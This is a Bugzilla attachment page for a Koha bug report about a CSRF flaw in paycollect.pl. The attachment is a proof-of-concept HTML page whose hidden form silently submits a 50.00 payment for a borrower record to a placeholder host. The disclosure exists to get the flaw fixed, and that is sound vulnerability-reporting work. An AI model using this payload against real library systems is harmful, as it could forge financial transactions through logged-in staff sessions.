Bugzilla – Attachment 66027 Details for
Bug 19117
paycollect.pl is vulnerable for CSRF attacks
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
html file for PoC
CSRF_POC.txt (text/plain), 1.16 KB, created by
Jiaky Ooi
on 2017-08-15 16:26:20 UTC
(
hide
)
Description:
html file for PoC
Filename:
MIME Type:
Creator:
Jiaky Ooi
Created:
2017-08-15 16:26:20 UTC
Size:
1.16 KB
patch
obsolete
><html> > <body> > <script>history.pushState('', '', '/')</script> > <form action="http://ip:8000/cgi-bin/koha/members/paycollect.pl" method="POST"> > <input type="hidden" name="borrowernumber" value="2" /> > <input type="hidden" name="pay_individual" value="1" /> > <input type="hidden" name="itemnumber" value="" /> > <input type="hidden" name="description" value="test" /> > <input type="hidden" name="accounttype" value="L" /> > <input type="hidden" name="notify_id" value="1" /> > <input type="hidden" name="notify_level" value="0" /> > <input type="hidden" name="amount" value="50.00" /> > <input type="hidden" name="amountoutstanding" value="50.00" /> > <input type="hidden" name="accountno" value="" /> > <input type="hidden" name="accountlines_id" value="1" /> > <input type="hidden" name="title" value="Mr" /> > <input type="hidden" name="payment_note" value="" /> > <input type="hidden" name="paid" value="50.00" /> > <input type="hidden" name="submitbutton" value="Confirm" /> > <input type="submit" value="Submit request" /> > </form> > </body> ></html>
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 19117
: 66027 |
67616
|
67800
|
68043